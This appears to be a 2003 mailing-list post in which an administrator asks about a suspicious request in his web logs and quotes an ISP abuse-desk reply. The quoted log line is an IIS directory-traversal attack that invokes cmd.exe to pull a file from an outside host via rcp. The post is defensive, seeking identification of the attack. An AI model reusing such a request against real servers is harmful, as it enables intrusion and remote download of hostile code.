    Hi,
    
    Has anyone seen a request like this in their logs?
    
    205.247.193.56 - - [05/May/2003:11:59:52 -0300]
    "/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+rcp+-b+195.92.252.138.adm:smsx.exe+."
    
    I tried rcping smsx.exe off the remote site but no joy; is the .adm an
    obscure windows-specific port address or something? One of our windows
    guys said the smsx was "remote management software", but had no idea about
    the .adm...
    
    On a side note, the response I got from energis (the 195.92.252.138 owner)
    had the following at the start:
    
    PLEASE NOTE WE ARE CURRENTLY DEALING WITH A 2 WEEK BACKLOG
    
    Further down:
    
    Please note that if one of our IP addresses looks up to a 'webcache' (as
    opposed to a modem) we have a *maximum* of 30 hours to trace the user
    responsible for the abuse.
    
    So I guess this means that Energis users have a pretty good chance of
    abusing remote servers through Energis' web cache and getting away with it
    :-/
    
    Cheers, Steve
